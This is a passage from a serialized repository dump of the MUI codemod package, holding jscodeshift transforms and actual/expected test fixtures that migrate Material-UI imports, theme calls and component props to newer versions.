    "content": "\nimport { withStyles } from '@material-ui/core/styles';\nimport MenuItem from '@material-ui/core/MenuItem';\nimport Tab from '@material-ui/core/Tab';\nimport MuiTabs from '@material-ui/core/Tabs';\nimport BottomNavigationAction from '@material-ui/core/BottomNavigationAction';\nimport BottomNavigation from '@material-ui/core/BottomNavigation';\nimport CardContent from '@material-ui/core/CardContent';\nimport CardActions from '@material-ui/core/CardActions';\nimport Card from '@material-ui/core/Card';\nimport CardMedia from '@material-ui/core/CardMedia';\nimport CardHeader from '@material-ui/core/CardHeader';\nimport MuiCollapse from '@material-ui/core/Collapse';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport ListItemAvatar from '@material-ui/core/ListItemAvatar';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport List from '@material-ui/core/List';\nimport DialogTitle from '@material-ui/core/DialogTitle';\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogContentText from '@material-ui/core/DialogContentText';\nimport DialogContent from '@material-ui/core/DialogContent';\nimport DialogActions from '@material-ui/core/DialogActions';\nimport Slide from '@material-ui/core/Slide';\nimport RadioGroup from '@material-ui/core/RadioGroup';\nimport Radio from '@material-ui/core/Radio';\nimport FormControlLabel from '@material-ui/core/FormControlLabel';\nimport AccordionActions from '@material-ui/core/AccordionActions';\nimport AccordionDetails from '@material-ui/core/AccordionDetails';\nimport AccordionSummary from '@material-ui/core/AccordionSummary';\nimport Accordion from '@material-ui/core/Accordion';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport MuiLinearProgress from '@material-ui/core/LinearProgress';\nimport FormHelperText from '@material-ui/core/FormHelperText';\nimport FormGroup from '@material-ui/core/FormGroup';\nimport FormControl from '@material-ui/core/FormControl';\nimport FormLabel from '@material-ui/core/FormLabel';\nimport Fade from '@material-ui/core/Fade';\nimport StepContent from '@material-ui/core/StepContent';\nimport StepButton from '@material-ui/core/StepButton';\nimport Step from '@material-ui/core/Step';\nimport Stepper from '@material-ui/core/Stepper';\nimport TableRow from '@material-ui/core/TableRow';\nimport TablePagination from '@material-ui/core/TablePagination';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableBody from '@material-ui/core/TableBody';\nimport Table from '@material-ui/core/Table';\nimport TableHead from '@material-ui/core/TableHead';\nimport InputLabel from '@material-ui/core/InputLabel';\nimport Input from '@material-ui/core/Input';\nimport Grow from '@material-ui/core/Grow';\nimport TableFooter from '@material-ui/core/TableFooter';\nimport Zoom from '@material-ui/core/Zoom';\nimport ClickAwayListener from '@material-ui/core/ClickAwayListener';\nimport ListSubheader from '@material-ui/core/ListSubheader';\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/top-level-imports.test/expected.js",
    "content": "\n\nimport {\n  withStyles,\n  MenuItem,\n  Tab,\n  Tabs as MuiTabs,\n  BottomNavigationAction,\n  BottomNavigation,\n  CardContent,\n  CardActions,\n  Card,\n  CardMedia,\n  CardHeader,\n  Collapse as MuiCollapse,\n  ListItemSecondaryAction,\n  ListItemText,\n  ListItemAvatar,\n  ListItem,\n  ListItemIcon,\n  List,\n  DialogTitle,\n  Dialog,\n  DialogContentText,\n  DialogContent,\n  DialogActions,\n  Slide,\n  RadioGroup,\n  Radio,\n  FormControlLabel,\n  AccordionActions,\n  AccordionDetails,\n  AccordionSummary,\n  Accordion,\n  CircularProgress,\n  LinearProgress as MuiLinearProgress,\n  FormHelperText,\n  FormGroup,\n  FormControl,\n  FormLabel,\n  Fade,\n  StepContent,\n  StepButton,\n  Step,\n  Stepper,\n  TableRow,\n  TablePagination,\n  TableCell,\n  TableBody,\n  Table,\n  TableHead,\n  InputLabel,\n  Input,\n  Grow,\n  TableFooter,\n  Zoom,\n  ClickAwayListener,\n  ListSubheader,\n} from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/top-level-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './top-level-imports';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str ? str.replace(/^\\s+|\\s+$/, '') : '';\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v4.0.0', () => {\n    describe('top-level-imports', () => {\n      it('convert path as needed', () => {\n        const actual = transform(\n          {\n            source: read('./top-level-imports.test/actual.js'),\n            path: require.resolve('./top-level-imports.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./top-level-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./top-level-imports.test/expected.js'),\n            path: require.resolve('./top-level-imports.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./top-level-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  let adaptV4Called = false;\n\n  function isNotadaptV4ThemeArg(node) {\n    return (\n      node.arguments.length &&\n      (node.arguments[0].type !== 'CallExpression' ||\n        (node.arguments[0].type === 'CallExpression' &&\n          node.arguments[0].callee.name !== 'adaptV4Theme'))\n    );\n  }\n\n  function hasAdaptV4(node) {\n    return (\n      node.arguments.length &&\n      node.arguments[0].type === 'CallExpression' &&\n      node.arguments[0].callee.name === 'adaptV4Theme'\n    );\n  }\n\n  /**\n   * add adapterV4 inside createMuiTheme\n   */\n  root.find(j.CallExpression, { callee: { name: 'createMuiTheme' } }).forEach(({ node }) => {\n    if (hasAdaptV4(node)) {\n      adaptV4Called = true;\n    }\n    if (isNotadaptV4ThemeArg(node)) {\n      node.arguments = [j.callExpression(j.identifier('adaptV4Theme'), node.arguments)];\n      adaptV4Called = true;\n    }\n  });\n\n  /**\n   * add adapterV4 inside createTheme\n   */\n  root.find(j.CallExpression, { callee: { name: 'createTheme' } }).forEach(({ node }) => {\n    if (hasAdaptV4(node)) {\n      adaptV4Called = true;\n    }\n    if (isNotadaptV4ThemeArg(node)) {\n      node.arguments = [j.callExpression(j.identifier('adaptV4Theme'), node.arguments)];\n      adaptV4Called = true;\n    }\n  });\n\n  /**\n   * Add `adaptV4Theme` if called from above and not existed\n   */\n  if (adaptV4Called) {\n    const size = root\n      .find(j.ImportDeclaration)\n      .filter(\n        ({ node }) =>\n          node.source.value.match(/^@material-ui\\/core\\/?(styles)?$/) ||\n          node.source.value.match(/^@mui\\/material\\/?(styles)$/),\n      )\n      .at(0)\n      .forEach(({ node }) => {\n        if (!node.specifiers.find(({ imported }) => imported.name === 'adaptV4Theme')) {\n          node.specifiers = [...node.specifiers, j.importSpecifier(j.identifier('adaptV4Theme'))];\n        }\n      })\n      .size();\n    if (!size) {\n      // create import\n      root\n        .find(j.ImportDeclaration)\n        .at(0)\n        .forEach((path) => {\n          path.insertAfter(\n            j.importDeclaration(\n              [j.importSpecifier(j.identifier('adaptV4Theme'))],\n              j.literal('@material-ui/core/styles'),\n            ),\n          );\n        });\n    }\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test/actual.js",
    "content": "import { createMuiTheme, createTheme } from '@material-ui/core/styles';\n\nconst theme1 = createMuiTheme();\nconst theme2 = createTheme();\n\nconst theme3 = createMuiTheme({ palette: { primary: { main: '#ff5252' } } });\nconst theme4 = createTheme({ palette: { primary: { main: '#ff5252' } } });\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test/core-import.actual.js",
    "content": "import { createMuiTheme, ThemeOptions } from '@material-ui/core';\n\nexport const muiTheme = createMuiTheme();\nexport const muiTheme2 = createMuiTheme({});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test/core-import.expected.js",
    "content": "import { createMuiTheme, ThemeOptions, adaptV4Theme } from '@material-ui/core';\n\nexport const muiTheme = createMuiTheme();\nexport const muiTheme2 = createMuiTheme(adaptV4Theme({}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test/expected.js",
    "content": "import { createMuiTheme, createTheme, adaptV4Theme } from '@material-ui/core/styles';\n\nconst theme1 = createMuiTheme();\nconst theme2 = createTheme();\n\nconst theme3 = createMuiTheme(adaptV4Theme({ palette: { primary: { main: '#ff5252' } } }));\nconst theme4 = createTheme(adaptV4Theme({ palette: { primary: { main: '#ff5252' } } }));\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test/no-styles-import.actual.js",
    "content": "import { createTheme } from '../other-path';\n\nexport const muiTheme = createMuiTheme();\nexport const muiTheme2 = createTheme(options);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test/no-styles-import.expected.js",
    "content": "import { createTheme } from '../other-path';\n\nimport { adaptV4Theme } from '@material-ui/core/styles';\n\nexport const muiTheme = createMuiTheme();\nexport const muiTheme2 = createTheme(adaptV4Theme(options));\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/adapter-v4.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './adapter-v4';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('adapter-v4', () => {\n      it('add adaptV4Theme as needed', () => {\n        const actual = transform(\n          {\n            source: read('./adapter-v4.test/actual.js'),\n            path: require.resolve('./adapter-v4.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./adapter-v4.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./adapter-v4.test/expected.js'),\n            path: require.resolve('./adapter-v4.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./adapter-v4.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('works with core import', () => {\n        const actual = transform(\n          {\n            source: read('./adapter-v4.test/core-import.actual.js'),\n            path: require.resolve('./adapter-v4.test/core-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./adapter-v4.test/core-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('works with other path import', () => {\n        const actual = transform(\n          {\n            source: read('./adapter-v4.test/no-styles-import.actual.js'),\n            path: require.resolve('./adapter-v4.test/no-styles-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./adapter-v4.test/no-styles-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-closeicon.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  return renameProps({\n    root,\n    componentName: 'Autocomplete',\n    props: { closeIcon: 'clearIcon' },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-closeicon.test/actual.js",
    "content": "<Autocomplete closeIcon={defaultClearIcon} />"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-closeicon.test/expected.js",
    "content": "<Autocomplete clearIcon={defaultClearIcon} />"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-closeicon.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './autocomplete-rename-closeicon';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('autocomplete-rename-closeicon', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./autocomplete-rename-closeicon.test/actual.js'),\n            path: require.resolve('./autocomplete-rename-closeicon.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./autocomplete-rename-closeicon.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./autocomplete-rename-closeicon.test/expected.js'),\n            path: require.resolve('./autocomplete-rename-closeicon.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./autocomplete-rename-closeicon.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-option.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  return renameProps({\n    root,\n    componentName: 'Autocomplete',\n    props: { getOptionSelected: 'isOptionEqualToValue' },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-option.test/actual.js",
    "content": "<Autocomplete getOptionSelected={(option, value) => option.title === value.title} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-option.test/expected.js",
    "content": "<Autocomplete isOptionEqualToValue={(option, value) => option.title === value.title} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/autocomplete-rename-option.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './autocomplete-rename-option';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('autocomplete-rename-option', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./autocomplete-rename-option.test/actual.js'),\n            path: require.resolve('./autocomplete-rename-option.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./autocomplete-rename-option.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./autocomplete-rename-option.test/expected.js'),\n            path: require.resolve('./autocomplete-rename-option.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./autocomplete-rename-option.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/avatar-circle-circular.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  const source = j(file.source)\n    .findJSXElements('Avatar')\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'variant' &&\n          (node.value.value === 'circle' || node.value.expression?.value === 'circle')\n        ) {\n          node.value = j.literal('circular');\n        }\n\n        if (node.type === 'JSXAttribute' && node.name.name === 'classes') {\n          node.value?.expression?.properties?.forEach((subNode) => {\n            if (subNode.key.name === 'circle') {\n              subNode.key.name = 'circular';\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n  return source.replace(/\\.MuiAvatar-circle/gm, '.MuiAvatar-circular');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/avatar-circle-circular.test/actual.js",
    "content": "<div>\n  <Avatar variant=\"circle\" />\n  <Avatar classes={{ circle: 'className' }} />\n  <Box\n    sx={{\n      '& .MuiAvatar-circle': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/avatar-circle-circular.test/expected.js",
    "content": "<div>\n  <Avatar variant=\"circular\" />\n  <Avatar classes={{ circular: 'className' }} />\n  <Box\n    sx={{\n      '& .MuiAvatar-circular': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/avatar-circle-circular.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './avatar-circle-circular';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('avatar-circle-circular', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./avatar-circle-circular.test/actual.js'),\n            path: require.resolve('./avatar-circle-circular.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./avatar-circle-circular.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./avatar-circle-circular.test/expected.js'),\n            path: require.resolve('./avatar-circle-circular.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./avatar-circle-circular.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/badge-overlap-value.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  const source = j(file.source)\n    .findJSXElements('Badge')\n\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'overlap') {\n          if (node.value.value === 'circle' || node.value.expression?.value === 'circle') {\n            node.value = j.literal('circular');\n          } else if (\n            node.value.value === 'rectangle' ||\n            node.value.expression?.value === 'rectangle'\n          ) {\n            node.value = j.literal('rectangular');\n          }\n        }\n\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'classes' &&\n          Array.isArray(node.value?.expression?.properties)\n        ) {\n          node.value?.expression?.properties?.forEach((subNode) => {\n            if (subNode.key) {\n              if (subNode.key.name.endsWith('Circle')) {\n                subNode.key.name = subNode.key.name.replace('Circle', 'Circular');\n              }\n              if (subNode.key.name.endsWith('Rectangle')) {\n                subNode.key.name = subNode.key.name.replace('Rectangle', 'Rectangular');\n              }\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n\n  return source\n    .replace(/(\\.MuiBadge-.*)ircle/gm, '$1ircular')\n    .replace(/(\\.MuiBadge-.*)ectangle/gm, '$1ectangular');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/badge-overlap-value.test/actual.js",
    "content": "<div>\n  <Badge overlap=\"circle\" />\n  <Badge overlap=\"rectangle\" />\n  <Badge\n    classes={{\n      anchorOriginTopRightRectangle: 'className',\n      anchorOriginBottomRightRectangle: 'className',\n      anchorOriginTopLeftRectangle: 'className',\n      anchorOriginBottomLeftRectangle: 'className',\n      anchorOriginTopRightCircle: 'className',\n      anchorOriginBottomRightCircle: 'className',\n      anchorOriginTopLeftCircle: 'className',\n    }}\n  />\n  <Box\n    sx={{\n      '& .MuiBadge-circle, & .MuiBadge-rectangle': {},\n      '& .MuiBadge-anchorOriginTopRightRectangle': {},\n      '& .MuiBadge-anchorOriginBottomRightRectangle': {},\n      '& .MuiBadge-anchorOriginTopLeftRectangle': {},\n      '& .MuiBadge-anchorOriginBottomLeftRectangle': {},\n      '& .MuiBadge-anchorOriginTopRightCircle': {},\n      '& .MuiBadge-anchorOriginBottomRightCircle': {},\n      '& .MuiBadge-anchorOriginTopLeftCircle': {},\n      '& .MuiBadge-anchorOriginBottomLeftCircle': {},\n    }}\n  />\n  <Badge\n    classes={{\n      ...badgeClasses,\n      badge: badgeClasses.badge,\n    }}\n  >\n    {icon}\n  </Badge>\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/badge-overlap-value.test/expected.js",
    "content": "<div>\n  <Badge overlap=\"circular\" />\n  <Badge overlap=\"rectangular\" />\n  <Badge\n    classes={{\n      anchorOriginTopRightRectangular: 'className',\n      anchorOriginBottomRightRectangular: 'className',\n      anchorOriginTopLeftRectangular: 'className',\n      anchorOriginBottomLeftRectangular: 'className',\n      anchorOriginTopRightCircular: 'className',\n      anchorOriginBottomRightCircular: 'className',\n      anchorOriginTopLeftCircular: 'className',\n    }}\n  />\n  <Box\n    sx={{\n      '& .MuiBadge-circular, & .MuiBadge-rectangular': {},\n      '& .MuiBadge-anchorOriginTopRightRectangular': {},\n      '& .MuiBadge-anchorOriginBottomRightRectangular': {},\n      '& .MuiBadge-anchorOriginTopLeftRectangular': {},\n      '& .MuiBadge-anchorOriginBottomLeftRectangular': {},\n      '& .MuiBadge-anchorOriginTopRightCircular': {},\n      '& .MuiBadge-anchorOriginBottomRightCircular': {},\n      '& .MuiBadge-anchorOriginTopLeftCircular': {},\n      '& .MuiBadge-anchorOriginBottomLeftCircular': {},\n    }}\n  />\n  <Badge\n    classes={{\n      ...badgeClasses,\n      badge: badgeClasses.badge,\n    }}\n  >\n    {icon}\n  </Badge>\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/badge-overlap-value.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './badge-overlap-value';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('badge-overlap-value', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./badge-overlap-value.test/actual.js'),\n            path: require.resolve('./badge-overlap-value.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./badge-overlap-value.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./badge-overlap-value.test/expected.js'),\n            path: require.resolve('./badge-overlap-value.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./badge-overlap-value.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-hook-imports.js",
    "content": "const capitalize = (str) => {\n  return str.charAt(0).toUpperCase() + str.slice(1);\n};\n\nconst movedTypeExports = [\n  // Slider\n  'Mark',\n  // Select\n  'SelectOption',\n  'SelectChild',\n  'isOptionGroup',\n  'SelectOptionGroup',\n  'SelectChangeEventType',\n  // Listbox\n  'OptionState',\n  'UseListboxPropsWithDefaults',\n  'FocusManagementType',\n  'ListboxState',\n  'ListboxAction',\n  'ListboxReducer',\n  'ListboxReducerAction',\n  // Autocomplete\n  'createFilterOptions',\n  'FilterOptionsState',\n  'AutocompleteFreeSoloValueMapping',\n  'AutocompleteValue',\n  'UseAutocompleteProps',\n  'AutocompleteGroupedOption',\n  'CreateFilterOptionsConfig',\n  'FilterOptionsState',\n  'AutocompleteInputChangeReason',\n  'AutocompleteCloseReason',\n  'AutocompleteGetTagProps',\n];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => {\n      const sourceVal = path.node.source.value;\n      return sourceVal.startsWith('@mui/base/') && sourceVal.match('Unstyled');\n    }) // Process only Base components\n    .forEach((path) => {\n      // scenario 1: `@mui/base/<Component>Unstyled/use<Component>`\n      // e.g., `@mui/base/SelectUnstyled/useSelect`\n      const sourceVal = path.node.source.value;\n      // replace `@mui/base/SelectUnstyled/useSelect` with `@mui/base/useSelect`\n      if (sourceVal.replace(/@mui\\/base\\/([a-zA-Z]+)Unstyled/, '') !== '') {\n        path.node.source.value = sourceVal.replace(\n          /@mui\\/base\\/([a-zA-Z]+)Unstyled\\/([a-zA-Z]+)/,\n          '@mui/base/$2',\n        );\n        return;\n      }\n\n      // scenario 2: @mui/base/<Component>Unstyled\n      const specifiersForHook = [];\n      const filteredSpecifiers = [];\n      const hookName = sourceVal.replace(/@mui\\/base\\/([a-zA-Z]+)Unstyled/, 'use$1');\n\n      path.node.specifiers.forEach((elementNode) => {\n        if (elementNode.type !== 'ImportSpecifier' || !elementNode.imported?.name) {\n          filteredSpecifiers.push(elementNode);\n          return;\n        }\n\n        const importName = elementNode.imported.name;\n        const localName = elementNode.local.name;\n\n        if (hookName === importName) {\n          // hook\n          specifiersForHook.push(j.importDefaultSpecifier(j.identifier(localName)));\n        } else if (\n          // types that no longer exist in `...Unstyled`\n          movedTypeExports.includes(importName) ||\n          (importName.startsWith(capitalize(hookName)) &&\n            (importName.endsWith('SlotProps') ||\n              importName.endsWith('Parameters') ||\n              importName.endsWith('ReturnValue')))\n        ) {\n          specifiersForHook.push(j.importSpecifier(j.identifier(importName), elementNode.local));\n        } else {\n          filteredSpecifiers.push(elementNode);\n        }\n      });\n\n      path.node.specifiers = filteredSpecifiers;\n\n      if (specifiersForHook.length === 0) {\n        return;\n      }\n\n      const hookImportDeclaration = j.importDeclaration(\n        specifiersForHook,\n        j.literal(`@mui/base/${hookName}`),\n      );\n      if (filteredSpecifiers.length > 0) {\n        path.insertAfter(hookImportDeclaration);\n      } else {\n        path.replace(hookImportDeclaration);\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-hook-imports.test/actual.js",
    "content": "import { useAutocomplete } from '@mui/base/AutocompleteUnstyled';\nimport { useBadge } from '@mui/base/BadgeUnstyled';\nimport { useButton } from '@mui/base/ButtonUnstyled';\nimport { useInput } from '@mui/base/InputUnstyled';\nimport SelectUnstyled, { SelectUnstyledProps, useSelect, SelectOption, SelectChild, isOptionGroup, SelectOptionGroup } from '@mui/base/SelectUnstyled';\nimport { UseOptionReturnValue as OptionReturnValue } from '@mui/base/OptionUnstyled';\nimport useListbox from '@mui/base/ListboxUnstyled/useListbox';\nimport { useSwitch as useBaseSwitch } from '@mui/base/SwitchUnstyled';"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-hook-imports.test/expected.js",
    "content": "import useAutocomplete from '@mui/base/useAutocomplete';\nimport useBadge from '@mui/base/useBadge';\nimport useButton from '@mui/base/useButton';\nimport useInput from '@mui/base/useInput';\nimport SelectUnstyled, { SelectUnstyledProps } from '@mui/base/SelectUnstyled';\nimport useSelect, { SelectOption, SelectChild, isOptionGroup, SelectOptionGroup } from '@mui/base/useSelect';\nimport { UseOptionReturnValue as OptionReturnValue } from '@mui/base/useOption';\nimport useListbox from '@mui/base/useListbox';\nimport useBaseSwitch from '@mui/base/useSwitch';"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-hook-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './base-hook-imports';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('base-hook-imports', () => {\n      it('transforms the imports of Base hooks to default imports', () => {\n        const actual = transform(\n          {\n            source: read('./base-hook-imports.test/actual.js'),\n            path: require.resolve('./base-hook-imports.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./base-hook-imports.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-component-prop.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  const transformed = root\n    .find(j.ImportDeclaration)\n    // Process only Base UI components\n    .filter(({ node }) => node.source.value.startsWith('@mui/base'))\n    .forEach((path) => {\n      path.node.specifiers.forEach((elementNode) => {\n        root.findJSXElements(elementNode.local.name).forEach((elementPath) => {\n          if (elementPath.node.type !== 'JSXElement') {\n            return;\n          }\n\n          const attributeNodes = [];\n\n          let slotPropNodeInserted = false;\n          let slotsPropNode;\n          elementPath.node.openingElement.attributes.forEach((attributeNode) => {\n            if (\n              attributeNode.type !== 'JSXAttribute' &&\n              attributeNode.type !== 'JSXSpreadAttribute'\n            ) {\n              return;\n            }\n            if (attributeNode.type === 'JSXSpreadAttribute') {\n              attributeNodes.push(attributeNode);\n              return;\n            }\n            const attributeName = attributeNode.name.name;\n            if (attributeName !== 